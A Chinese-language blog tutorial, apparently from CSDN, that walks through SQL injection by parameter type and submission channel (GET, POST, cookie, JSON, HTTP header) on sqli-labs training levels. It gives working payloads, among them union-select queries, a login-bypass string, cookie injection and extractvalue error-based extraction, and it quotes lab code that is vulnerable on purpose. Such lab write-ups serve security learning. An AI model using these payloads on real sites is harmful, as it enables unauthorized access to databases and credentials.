11-SQL注入之类型及提交注入

SQL注入之类型及提交注入

在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。

一.简要明确参数类型

数字,字符,搜索,JsoN等
如果字符型是不能判断出数字的内容

可以使用sql语句干扰符号: ',",s,),}等,具体需看写法
$name=$_GET("x");
select * from use where name='name"';

1.sql注入数字和字符对比

字符:除数字之外都是字符
数字:0-9

两种SQL语句的区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’

字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来。

简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示)。

二、简要明确请求方法

GET, POST,COOKIE,REQUEST,HTTP头等

不同的请求方式,请求的数据类型、数据大小都不一样;
这个网站请求方法出现漏洞,要按照对应的请求方法,去测试注入

1.GET 和 POST请求的本质区别

最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。

(1)get方法是从服务器上获取资源;post方法是向服务器传送数据

比如你点击某篇文章的链接,浏览器就会发送GET请求给服务器,服务器就会返回这篇文章的所有文字及资源。

即:双向(有来有回)是get

单向(有去无回)是post

(2)使用Get请求时,参数在URL中显示,而使用Post方式,则不会显示出来

如果post中使用get请求的值是无法提交的.

image-20230303113544496

2.$_COOKIE

浏览网页时,服务器将HTTP协议响应存储到浏览器上,浏览器可以在以后携带对应COOKIE数据访问服务器。

利用$_COOKIE访问COOkie数据。

3.$_request

全部接收

辨别方式:

可以通过更换请求方式判断四Get还是post

一级request。

image-20230303144348222

4.$_SERVER

$_SERVER用于提供大量的与环境相关的信息

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。

元素/代码描述
$_SERVER[‘PHP_SELF’]当前执行脚本的文件名,与 document root 有关。
$_SERVER[‘GATEWAY_INTERFACE’]服务器使用的 CGI 规范的版本。
$_SERVER[‘SERVER_ADDR’]当前运行脚本所在的服务器的 IP 地址。

https://www.cnblogs.com/jianmingyuan/p/5900064.html

总结:要进行注入要找到相应的注入位置,使用对应的方法。

参数字符型注入测试案例

一、sqlilabs less 5关

1.当你输入 ?id=1 and 1=1页面正常

换id=1 and 1=12页面仍然正常

这时候进入靶场中源代码可以看到

s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";

发现$id上有单引号,表示把传入的id值当作了字符。

image-20230303150131022

解决方法:

更换报错语句,判断存在字符型注入

http://10.1.1.133/Less-5/?id=1' and '1'='1  //正常
http://10.1.1.133/Less-5/?id=1' and '1'='2  //不正常

该关卡为无回显注入,注入方式后期补充

二、sqlilabs less 6关

源代码中

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

//采用双引号的方式进行了编码
'"'表名id前后都加上双引号

绕过方法

所以我们加上双引号,再另数值不相等,看它能不能报错;
双引号和前面的双引号闭合,-–+将后面的limit都注释掉;

"闭合前面的引号后面采用–+注释

http://192.168.234.133/sql/Less-6/?id='1 and 1=2--+

产生了报错image-20230303151551809

POST数据提交注入测试

POST数据提交注入测试通常需要遵循以下步骤:

  1. 确定测试范围:确定要测试的Web应用程序的范围和目标。
  2. 收集信息:收集应用程序的相关信息,包括应用程序的URL、功能和参数等。
  3. 构造测试用例:根据应用程序的功能和参数,构造一系列恶意的POST请求,包括SQL注入、命令注入、XSS等攻击向量。
  4. 发送测试请求:使用测试工具或手工发送构造好的POST请求,观察应用程序的响应结果和行为。
  5. 分析测试结果:根据测试结果和日志文件,分析应用程序是否存在POST数据提交注入漏洞,并评估漏洞的严重程度。
  6. 编写测试报告:将测试结果记录在测试报告中,并包括漏洞描述、攻击向量、严重程度和建议修复方法等信息。
  7. 修复漏洞:向应用程序的开发团队提供测试报告,并要求其尽快修复漏洞。
  8. 验证修复:重新进行测试,验证漏洞是否已经被修复。

总之,POST数据提交注入测试是Web应用程序安全测试的一个重要部分,可以帮助发现和修复Web应用程序中存在的安全漏洞,保障应用程序的安全性和可靠性。

用hackbar模拟post数据提交测试

以下操作使用hackbar进行渗透测试,hackbar安装地址:https://github.com/HCTYMFF/hackbar2.1.3

一、sqlilabs less 11

从这一关开始我们开始进入到post注入的世界了,什么是post呢?就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。

1.输入账户,在burp抓包获取登录信息,为post请求

image-20230304165856970

image-20230304165922547

或者通过浏览器抓包:

找到注入点就在登录框附近 ,看到url为

uname=admin&passwd=1&submit=Submit

作为注入语句使用。

image-20230303180229026

2.当我们输入

username:admin’

#Password:ddd(随便输)

image.png

显示错误了,可以从错误中分析到程序对参数进行单引号的处理。

image-20230303153932995

3.这里我们可以在输入框输入万能密码来尝试一下。

这里username输入:admin’or’1’='1#,密码随意。image-20230303154113689

返回的正确的结果,那么原因是什么呢?

其实就是当我们提交username和password后,后台形成的sql语句为

@$sql="SELECT username,password FROM  users WHERE username='admin'or'1'='1#and password='$passwd' LIMIT0,1";

查看php源代码,可以看到是单引号,要把单引号闭合

在#以后的内容就被注释掉,前面的内容因为or1=1恒成立,所以语句就成立,我们此时以admin的用户登录。那么接下来我们尝试用get注入中用到的其他的语句代替or1=1进行注入。

Mysql注入—sqlilabs—lcamry

注入语句:这里我们用union注入进行尝试:

为什么使用#号而不是–+,因为在get请求中–+的加号表示空格可以正常使用,而post请求中+号不表示空格,直接表示+号会报错

and 1=2 让前面的语句报错,#号把后面的语句也注释了

uname=admin' and 1=2 union select 1,2 #&passwd=admin&submit=Submit	

出现回显:image-20230306112909913

查询数据库:

image-20230306113232611

可以看到显示了database为security,这是我们比较常用的手法。还可以利用其他的方法进行注入。上述在get型注入中提到的语句都可以使用。当然了,还可以利用其他的方法进行注入.

参数JSON数据注入测试

=>本地环境代码演示

json格式

img

json注入

json={“username”: “dump’ and 1=2 union select 1, database(),3#”}

img

注入方式:如果是数字的可以不加’闭合如果是字符的话,加上"闭合

COOKIE数据提交注入测试

一、sqlilables less 20

抓取流量:

uname=admin&passwd=admin&submit=Submit

image-20230304172429786网站传递参数的方式

参数类型含义
get型一般访问网页的行为
cookie型伴随着所有访问网页的行为
post型上传文件,登陆

cookie注入原理: 此关对post传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。

因此我们尝试更换cookie中进行注入。

【cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。】

条件含义
条件1程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤
条件2条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

image.png

将这个数据包发送到repeater模块当中

修改cookie参数Cookie: uname=admin' and 1=2 union select database(),2,3 #

image.png

image.png

注意:submit=Submit需要删除,如果设置了submit值就会报错。

image-20230306142514314

HTTP头部参数数据注入测试

一、sqlilabs less 18

数据库源代码

       $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,                                   1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
                if($row1)
                        {
                        echo '<font color= "#FFFF00" font size = 3 >';
                        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
                        mysql_query($insert);
                        //echo 'Your IP ADDRESS is: ' .$IP;
                        echo "</font>";
                        //echo "<br>";
                        echo '<font color= "#0000ff" font size = 3 >';
                        echo 'Your User Agent is: ' .$uagent;
                        echo "</font>";
                        echo "<br>";
                        print_r(mysql_error());
                        echo "<br><br>";
                        echo '<img src="../images/flag.jpg"  />';
                        echo "<br>";

                        }
                else
                        {
                        echo '<font color= "#0000ff" font size="3">';
                        //echo "Try again looser";
                        print_r(mysql_error());
                        echo "</br>";
                        echo "</br>";
                        echo '<img src="../images/slap.jpg"   />';
                        echo "</font>";
                        }

该关卡使用

$_SERVER[‘SERVER_ADDR’]获取了脚本所在服务器的 IP 地址

image-20230306143653215

image-20230306143938211

从上面的SQL语句当中我们可以看到对执行的insert语句没有任何的限制也就是说我们通过修改http的头部信息可以达到SQL注入的效果。

root@eafc9e16990f:/var/www/html/Less-18# tail -36 index.php |head -2
                        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
                        echo $insert;
root@eafc9e16990f:/var/www/html/Less-18#

image.png

注入点:修改数据包注入获取数据库名称'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'

image-20230306144738676

获取用户名image.png

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿凯6666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值